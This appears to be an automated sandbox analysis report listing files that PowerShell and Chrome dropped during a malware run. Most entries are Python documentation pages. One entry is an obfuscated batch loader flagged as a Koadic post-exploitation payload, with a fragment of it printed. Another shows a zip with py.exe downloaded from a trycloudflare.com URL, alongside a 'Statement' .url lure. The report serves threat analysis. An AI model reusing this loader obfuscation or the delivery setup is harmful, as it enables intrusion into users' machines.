                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="faulthandler . Dump the Python traceback" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/faulthandler.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This module contains functions to dump Python tracebacks explicitly, on a fault, after a timeout, or on a user signal. Call faulthandler.enable() to install fault handlers for the SIGSEGV, SIGFPE, ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This module contains functions to
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1027), with CRLF line terminators
                    Category:dropped
                    Size (bytes):42878
                    Entropy (8bit):4.871755029766351
                    Encrypted:false
                    SSDEEP:
                    MD5:2C6C1C813CE817A92A63B3634ADEC98A
                    SHA1:47569E3FC5F80BFC8B11649A1F9ADE61AD8B6B03
                    SHA-256:9BD6C2F3F0C169527F42CE26E509C9A83D539594D5D8EBA761A1B223364A5480
                    SHA-512:A59194896D5FAAE04DC644C5A449D6CD1DCAC77EB8F7733354E43A58D3896A55392D76E43A394AE43453BDD24A1197DADF59088D42DF2E54E0B6D737FE582D29
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="fcntl . The fcntl and ioctl system calls" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/fcntl.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This module performs file and I/O control on file descriptors. It is an interface to the fcntl() and ioctl() Unix routines. See the fcntl(2) and ioctl(2) Unix manual pages for full details. Availab..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This module performs file and I/O contro
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (925), with CRLF line terminators
                    Category:dropped
                    Size (bytes):35978
                    Entropy (8bit):4.855969954926961
                    Encrypted:false
                    SSDEEP:
                    MD5:F880D197B4F7C2A455E6D862E196FD34
                    SHA1:8B6ADAF716F750F660DAB4D28428BC137B76E49B
                    SHA-256:8C30A35BE87C02FBD3B2EDEAD49B3FDB880A6B4928E470CDB3BE95080BC4867E
                    SHA-512:EE6BED6FC6586A238A26F8AB05EADE391B87B5724A6D52AF99A4948921EC7FE35BA7877148CB22D3886E6359248AF6651BF91DAC39882570C12742A184F9AA47
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="filecmp . File and Directory Comparisons" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/filecmp.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/filecmp.py The filecmp module defines functions to compare files and directories, with various optional time/correctness trade-offs. For comparing files, see also the difflib modul..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/filecmp.py The filecm
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):17150
                    Entropy (8bit):4.859808767931285
                    Encrypted:false
                    SSDEEP:
                    MD5:7E08C069AAB4708BD53AD851DE343F79
                    SHA1:44AF3B54996A0825281790070EBB186E18971B30
                    SHA-256:8EC5ED18D72FA8AA3A3CF81887B906F9685D60CB0AD665D777DFEA67847DD34A
                    SHA-512:E7D93178F11C06A0F40388A6E96113B65D38B719DF743EADDBAF9B9BC187B37E8C8DED9166163B743CBA8D6B955340DD50FE7A3E613221D4F5A579115466DAF1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="File Formats" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/fileformats.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter parse various miscellaneous file formats that aren.t markup languages and are not related to e-mail. csv . CSV File Reading and Writing- Module Contents, Diale..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter parse various miscella
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1839), with CRLF line terminators
                    Category:dropped
                    Size (bytes):44047
                    Entropy (8bit):4.808418283601582
                    Encrypted:false
                    SSDEEP:
                    MD5:BEC2CA2E0637B3449BFB38C6F30B26DB
                    SHA1:4B02DA7F716BCD7A20BFEB0D29211F9513359917
                    SHA-256:64E97BB80AB686CA9356A62B62D775180C981093E873D518B5A76CB4B9766E06
                    SHA-512:A223A6BFE7802544644136F77C464255176A3909BD9E5DA28214B703520C87FE921EEA0648A5BFB38361FB5AAD50ECC8C604DB8F5B2BB7148B2B5577E2B409C8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="fileinput . Iterate over lines from multiple input streams" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/fileinput.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/fileinput.py This module implements a helper class and functions to quickly write a loop over standard input or a list of files. If you just want to read or write one file see open..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/f
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20088
                    Entropy (8bit):4.837450611378838
                    Encrypted:false
                    SSDEEP:
                    MD5:DC8F6309B4A918AEA9FA6CC43B38061D
                    SHA1:EE72A996A29D1398D738F6D8C3446039C5669A9C
                    SHA-256:C418BBBA9266EBCFAFB7C891619C721BCB1A143396943CF47A1D035230584A96
                    SHA-512:607124AAD33A62F737D73E66FDCC09467E063DC3DCB42CBF9ED82F6643AA93B2443DE15CCB97E5B215D2D7D7BC7A767C7A9DDB02AB42A5474E408A5F19DD2E52
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="File and Directory Access" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/filesys.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter deal with disk files and directories. For example, there are modules for reading the properties of files, manipulating paths in a portable way, and creating te..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter deal with disk fi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (482), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25074
                    Entropy (8bit):4.852987366700852
                    Encrypted:false
                    SSDEEP:
                    MD5:042EB394DE9A01CEBFBE37BAB489975F
                    SHA1:502608DD88DC2AEA941D57103D0B43530671E9A6
                    SHA-256:CEC46B608167CCFCB621B5FDBB8EE043BE8CF9D4FF3762B8A96C5E050A85F64F
                    SHA-512:976E2D1D1FA8F8D7EBBFA471168FA7388A6B0FA094B9C5A48002CF7C8897AF31D1AE3F51D381BF8C2BE1CE5383D17FC06ED783E35BBF35F1432B1A0DAF4E8CC6
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="fnmatch . Unix filename pattern matching" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/fnmatch.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/fnmatch.py This module provides support for Unix shell-style wildcards, which are not the same as regular expressions (which are documented in the re module). The special character..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/fnmatch.py This modul
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (781), with CRLF line terminators
                    Category:dropped
                    Size (bytes):47127
                    Entropy (8bit):4.854827344342425
                    Encrypted:false
                    SSDEEP:
                    MD5:59A5EC67CC0C8AF8D5FF04EF018838B7
                    SHA1:380CB7A5CA3D3787A95F5CADB1F93AC5CAD96E84
                    SHA-256:BC00A4B09274F89275CCA195640142E132D7D7AB56B7300346555E650188E2CD
                    SHA-512:87046E6CC6A83B7ACB75DBAE6DBBD459CFC5E32F82089F2D1F00D2CE0D924CFF16D5F2BD243D93FB8E6896503103CC17D06507537DCD070FFCD8C6D1B5B325E4
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="fractions . Rational numbers" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/fractions.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/fractions.py The fractions module provides support for rational number arithmetic. A Fraction instance can be constructed from a pair of integers, from another rational number, or ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/fractions.py The fractions modu
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):21021
                    Entropy (8bit):4.844666260667148
                    Encrypted:false
                    SSDEEP:
                    MD5:EAA5A6521F4BFC30649CD07B011162FE
                    SHA1:3968CE8E823FE064D5AD90106674BBAACB2861DB
                    SHA-256:F05422DF22E78A4369D8266469F9904E9D711008D16A991CE6554D469DD092BB
                    SHA-512:5D0D287CB19A735E60EA7309E3F66E2833A3370CBD11EECADE276438F1904FC9DC0563B673FB7C4240636CCC0F0A31D0D90394B8E9128FAA4080F6F47FE7B8A5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Program Frameworks" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/frameworks.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter are frameworks that will largely dictate the structure of your program. Currently the modules described here are all oriented toward writing command-line inter..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter are frameworks that w
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (2026), with CRLF line terminators
                    Category:dropped
                    Size (bytes):84045
                    Entropy (8bit):4.901624467105177
                    Encrypted:false
                    SSDEEP:
                    MD5:2CB6BE1222C85716E1D5BA023453AC27
                    SHA1:AD160948B0A5A87E50D51F23C8EA12633AB52314
                    SHA-256:C67966FD4EC915E225FB94A3D644F50A0B2739164C7729B2A8DF75C47E5CD9C7
                    SHA-512:CDC82C4DBF0BC1B57CE1A118F5D242E4054E651952C40D0AC975BE8BC2B8F87D7811A9E0464307CBE61676DA0E01AC00104EF47EC6C3BBAE1F84F0E6FCBC9F5B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="ftplib . FTP protocol client" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/ftplib.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/ftplib.py This module defines the class FTP and a few related items. The FTP class implements the client side of the FTP protocol. You can use this to write Python programs that pe..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/ftplib.py This module defines the
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                    Category:dropped
                    Size (bytes):0
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:
                    MD5:12AD786F21847C1283B5E97561370CB9
                    SHA1:E8EFE08E4682DE038084B37F998B9F87AD1980F1
                    SHA-256:AA6AC346B276F2A49B7899AC02A4EC109B5C92D1AC262C8A331E21E976158E88
                    SHA-512:BDB1759388E0F3C247FF29D6DFC88F2F6D6AA102EC4876497F884345D7B6572A21DE12205E1CB035B2A5D188549E87E16D84E079D6F4E2ABBBC7B06997B84FB6
                    Malicious:false
                    Reputation:unknown
                    Preview:PK.........1.X.h............e_Statement89304.url5.A..0......fI` .yH..Jx..j..O.OI...P=......<.(.....`..s..u...A.f...:.l7_,....f....Z.F:.<.i....,K...m9<'.:J..Da.X.(9.....J..b.z;.f...o_..{.9..V../|J>PK...........1.X.h.................. .......e_Statement89304.urlPK..........B.........
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                    Category:dropped
                    Size (bytes):0
                    Entropy (8bit):0.0
                    Encrypted:false
                    SSDEEP:
                    MD5:12AD786F21847C1283B5E97561370CB9
                    SHA1:E8EFE08E4682DE038084B37F998B9F87AD1980F1
                    SHA-256:AA6AC346B276F2A49B7899AC02A4EC109B5C92D1AC262C8A331E21E976158E88
                    SHA-512:BDB1759388E0F3C247FF29D6DFC88F2F6D6AA102EC4876497F884345D7B6572A21DE12205E1CB035B2A5D188549E87E16D84E079D6F4E2ABBBC7B06997B84FB6
                    Malicious:false
                    Reputation:unknown
                    Preview:PK.........1.X.h............e_Statement89304.url5.A..0......fI` .yH..Jx..j..O.OI...P=......<.(.....`..s..u...A.f...:.l7_,....f....Z.F:.<.i....,K...m9<'.:J..Da.X.(9.....J..b.z;.f...o_..{.9..V../|J>PK...........1.X.h.................. .......e_Statement89304.urlPK..........B.........
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:Unicode text, UTF-16, little-endian text, with very long lines (3358), with no line terminators
                    Category:dropped
                    Size (bytes):6719
                    Entropy (8bit):3.954493580691346
                    Encrypted:false
                    SSDEEP:
                    MD5:F88FE8D8B25B85E6C7F7B31F71771193
                    SHA1:5B3FB659B1A9AB65BFA6740E8B8F100AD2BF4284
                    SHA-256:EAE731D3AD19C8258854DD7DF817003A24361C44FB43CA91E2ED076182BEAB64
                    SHA-512:36115A3980DB995D5D98F439D0DBCC888AF5F8B7B770642ACA3EAE41599352B3A29313900F26DC9DACBF88EE243088913CBC9D2A6C8DB1EDE011BC720FCCDD98
                    Malicious:true
                    Yara Hits:
                    • Rule: MALWARE_BAT_KoadicBAT, Description: Koadic post-exploitation framework BAT payload, Source: C:\Users\user\Downloads\startupppp.bat, Author: ditekSHen
                    • Rule: MALWARE_BAT_KoadicBAT, Description: Koadic post-exploitation framework BAT payload, Source: C:\Users\user\Downloads\startupppp.bat, Author: ditekSHen
                    • Rule: MALWARE_BAT_KoadicBAT, Description: Koadic post-exploitation framework BAT payload, Source: C:\Users\user\Downloads\startupppp.bat, Author: ditekSHen
                    Reputation:unknown
                    Preview:..&@cls&@set "..Z=QlG4MmXfVkw@8oWg FZP3ORHezDiLBupcn7r1tvIjYqhJ6ba5KNC2xAT9y0sESdU"..%..Z:~11,1%%..Z:~24,1%%..Z:~32,1%%..Z:~43,1%%..Z:~13,1%%XkiAT..%%..Z:~16,1%%..Z:~13,1%%..Z:~7,1%%..Z:~7,1%..%..Z:~59,1%%..Z:~24,1%%..Z:~37,1%%..Z:~1,1%%..Z:~13,1%%..Z:~32,1%%..Z:~47,1%%..Z:~1,1%....::%..Z:~16,1%%..Z:~26,1%%..Z:~24,1%%..Z:~7,1%%..Z:~27,1%%..Z:~33,1%%..Z:~24,1%%..F..qR%%..Z:~16,1%%..Z:~37,1%%..Z:~43,1%%..le..k%%..Z:~24,1%%..Z:~16,1%%SLBE.y.%%..Z:~62,1%%..Z:~24,1%%..Z:~59,1%%..Z:~37,1%%..Z:~27,1%%..Z:~33,1%%..Z:~47,1%%..Z:~37,1%%..Z:~27,1%%..Z:~13,1%%..Z:~33,1%%..Z:~16,1%%..Z:~38,1%%..Z:~47,1%%..Z:~35,1%%..Z:~27,1%%..Z:~47,1%%..Z:~46,1%%..Z:~1,1%%..Z:~24,1%%..Z:~16,1%%..Z:~7,1%%..Z:~13,1%%..Z:~35,1%%..Z:~16,1%%..Z:~17,1%%..Z:~55,1%%..Z:~61,1%%..Z:~19,1%.%..Z:~25,1%%.Xh.ib%%..Z:~27,1%%..Z:~31,1%..%..Z:~59,1%%..Z:~24,1%%..Z:~37,1%%..Z:~16,1%"%..Z:~62,1%%..Z:~24,1%%..Z:~59,1%%..Z:~37,1%%..Z:~27,1%%..Z:~33,1%%..Z:~47,1%
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:PNG image data, 64 x 14, 8-bit colormap, non-interlaced
                    Category:downloaded
                    Size (bytes):591
                    Entropy (8bit):7.4664311276471755
                    Encrypted:false
                    SSDEEP:
                    MD5:EFBD5A6124CE41D66A777074541C65F1
                    SHA1:AD1375548785DBBAA26F06D4BE4DA22E043A432A
                    SHA-256:3D0BC2B25824703986A1D578491DF54BC55B689F0180AA98FFBC810AC5C4B62D
                    SHA-512:ED35FBB1F88754B8103819B11105D4057F90EC9C2A6F7C5556E4A5FA74D9ACA5BC6A27333369BF6A11BFDCDB4C20CBE8EDD891B4771800952EF5CCFCE4B9AD2D
                    Malicious:false
                    Reputation:unknown
                    URL:https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR4f4a7fcKeFgfqnbBAuZdkBbjPVZAqhXUyfKQospI&s=10
                    Preview:.PNG........IHDR...@.................PLTE........................DDD...AAA...........~~~............ppp...SSS\\\LLL...ccc000999!!!.....hb....H?......4).............|w..".....ZS.......zIDAT(..SiW.@..l..z.=... .....d...|0..n2.L...a};Vfut/?o7..>.....G0....A.D..sU.n%.6..........\G.Y6....}.lE._...l5..).."@.@......j\8....... .Vk....K.E....m. ....$...d.T.bQ.Q..'.G......Y)...Z..>.Lq.G..)o..C{:Z.a.0.L,/.+W.....z.3.\.Gc..8I..Kt$..@9.'...nF.../../.".Q..m..._...0...;..|X.le...m.B.rZ.?......c../..&.....$X..i8. ..]k*....t.....[..`o.]iL5x.2......,2..........O.@.n....IEND.B`.
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                    Category:downloaded
                    Size (bytes):39288532
                    Entropy (8bit):7.925727002649655
                    Encrypted:false
                    SSDEEP:
                    MD5:3320BE3109279585D6E7D0EB4789C84A
                    SHA1:5BF01A9789E5F1D8AC91BB30CAFCA3BD128492EE
                    SHA-256:762DEFC94E9F2C03867A0C42B8CE2BF14B5B9310225CF9EC9EF5AC9996A1313C
                    SHA-512:CD73EBB9656AE97ED8E35163CB6751D34AE4AA5AEF79F44ED2CDCD7DA5573B0EBE9F789F454C72DAC6410430A51BC713ABA7A3A46EC13998D689AFA47E556CA3
                    Malicious:false
                    Reputation:unknown
                    URL:https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip
                    Preview:PK...........X................Python/Launcher/PK........Vv.Xn...44..........Python/Launcher/py.exe.{|.E...L..Cz....!@.h.#.H...$*..1...X..8."tC\..;....rwau....]v....$....<.1..(..]t+.j........$.{.......q.tWW.:u....).k..(....t]..../W.....AH..Z..c.{..,s..ug......w...L...z.a)..e.....{(}......^.l..!.2..+'O.3.t.H.........e#^d..G\...G.F8.......{n|wd6.[8b..p.,....p..oG..].y.}?.`;..'.W..X......f^..`.lI.F.<A...dy)A.8./..[......y...s;?..|.]...6v...M-..R.J.....[..`.u#.....P.F.p.......w...m......eU....L..a_.}a..a...K.$.H..</...+.......9....6(..}.Ep...W,.1.y_A.....K.[......<.\p....7S......u.og...c..:.>......u.....u.F[t.Wi.....A.."..5....b..?.^x'.w.U*bU.X.EW....bA}|.>.].........E.%P..7.c.=.NlP[i..Qu...N..8|.M..t.. l..f..}jm......>._*.>...v....p...P/...t}..#..Yi.C]bAG.k.<}.b.x..*.l.M.,.=.....k(,9..em.VLp.+T(.u..V(.3l.4.j.|z.....a........bh.:A;Aq......S.-.O. .Od[).....[G.Q...@....}z...p:.b.t. ..f.`F....~|...&u= ..U..P....f........F\...G/..)...c....&.?3...
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:PNG image data, 106 x 5326, 8-bit/color RGBA, non-interlaced
                    Category:dropped
                    Size (bytes):140703
                    Entropy (8bit):7.983127067940613
                    Encrypted:false
                    SSDEEP:
                    MD5:EB7895BA582FA7CBA9531AB42D9ED8C2
                    SHA1:740B43A2997F24D6859896BB46541BA2CE208F8A
                    SHA-256:4966326CB66EBA65E26B589887981530EEB795373529563244F4F29F18CAB78F
                    SHA-512:B405FE99FFF3F9FBBC2849F4DEAC45CB3CD252A66E7F11FB20ED16E93AA0D63C752569BF42961910ADEBF0915388725FDBA531283C9FC963B7B4221E066A357F
                    Malicious:false
                    Reputation:unknown
                    Preview:.PNG........IHDR...j.........E=/...%fIDATx......... ..6.T1.............=.Ir....fn.....Cl.b..Bl.m.f!..[.N....M...}......^..E.AF.U@.}P.@..;y|.......m.\f....c*2@;."+e.7=0....}.V..5s..>,..........Y..5....:5|...Z.%2..'L..>.S1I.....`1..%1?f..t ....C..c..`...Gx...V.P%.....G?].d|.Gq9~FV.P%...X.=%.g.x.Y...X..I^.x.P.....6R.....y..`]l.3.FX..<B..6.3I?l..y....]^......F4t.....t..jh.&..Y.P..h..I.#P....9$.....EOI.zb..fGU.*f..j>t..J..=5../f..(...Ks.),..&TB....DU.f......9.....\.$..3f.!..C.Q.2b.'......f..@...*..3T&_!J...:W\.E.....~e1C....4..v..9.8..+..Yc..C.-..G..UW..<.(.9b.*.n...u.\w.[mE...&.........e......B.R.......n...:.j5.*l.y....5.p..,.`.U..k.pN8.k.e.]..5...f.Wx.u..!..iF%..jEM3.>..^.k........+.......v...R$i.W...w.u......DJ3*..<.G...K..n.TE.BM......>...&)....#....[....{..?+./.....{.m1#..sF.F..E0~<.?.u...k..(..F..U..,.....%...L...^l.....6.J%....[o..B.z].al.P?..=.6rd...+..O4.v...`.....L:.f...Zc.o.&..Z.hNm.6...vI..12f..."iT.......%......jx..;M.
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (7800)
                    Category:downloaded
                    Size (bytes):7805
                    Entropy (8bit):5.768363917577466
                    Encrypted:false
                    SSDEEP:
                    MD5:10D4C53983697EFB9AD297FAFD005679
                    SHA1:D013CEB47D5BE12063A51A59D895D3B4C4026935
                    SHA-256:CB959CA97D52E552A687264FBB734310A78F6A304B95230669612E368773A32D
                    SHA-512:7D96A9D3A528D71992981D5BC3B795A967A4B0F3E32EE0DA414BAC98B5A34245E9AD1AE73A77C0FBF55F28E4535C36AAD1A9F1FE1EB97CAD57148DC9F0737B88
                    Malicious:false
                    Reputation:unknown
                    URL:https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
                    Preview:)]}'.["",["pedro pascal paul mescal gladiator","guardians triston mckenzie","davis wash miss south carolina","social security ssi payments july","nyt strands hints","house of the dragon season 2 episode 3","seattle mariners","miss texas annette"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWI3dzZsajZ4EiVUcmlzdG9uIE1jS2VuemllIOKAlCBCYXNlYmFsbCBwaXRjaGVyMpMRZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CRVFBQ0VRRURFUUgveEFBY0FBQUNBd0VCQVFFQUFBQUFBQUFBQUFBRkJ3SUVCZ01CQ0FEL3hBQXpFQUFDQVFNREFBY0dCUVVBQUFBQUFBQUJBZ01BQkJFRkVpRUdFeUl4UVZHQkJ6SmhjWkdoRkVOU3NlRV
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text
                    Category:downloaded
                    Size (bytes):29
                    Entropy (8bit):3.9353986674667634
                    Encrypted:false
                    SSDEEP:
                    MD5:6FED308183D5DFC421602548615204AF
                    SHA1:0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
                    SHA-256:4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
                    SHA-512:A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
                    Malicious:false
                    Reputation:unknown
                    URL:https://www.google.com/async/newtab_promos
                    Preview:)]}'.{"update":{"promos":{}}}
                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                    File Type:ASCII text, with very long lines (3992), with no line terminators
                    Category:downloaded
                    Size (bytes):3992
                    Entropy (8bit):5.141286160679925
                    Encrypted:false
                    SSDEEP:
                    MD5:B799E4D824302E69ECA9E213D1C68DB2
                    SHA1:4BF60BB15FA28DA70288E1C2A7B9A7606AE723C2
                    SHA-256:E21BB036EF97CD542FE42F2A7C1ADE24DA09CE8213CBD753361D6B9F49A93D47
                    SHA-512:1CDD3BFA380F9658AD81104B15FA284B701EA1C070D93B09EC3012F8F1CCC30C41B66767887E912A0DBF7B5313C7EFDEBAC2FA384CC8E3C9E3964AEBAD3EDF03
                    Malicious:false
                    Reputation:unknown
                    URL:"https://www.gstatic.com/og/_/ss/k=og.qtm.hoxHnWbwnwk.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuFxohOzFwUdN9saNolfqLsSiPxqw"
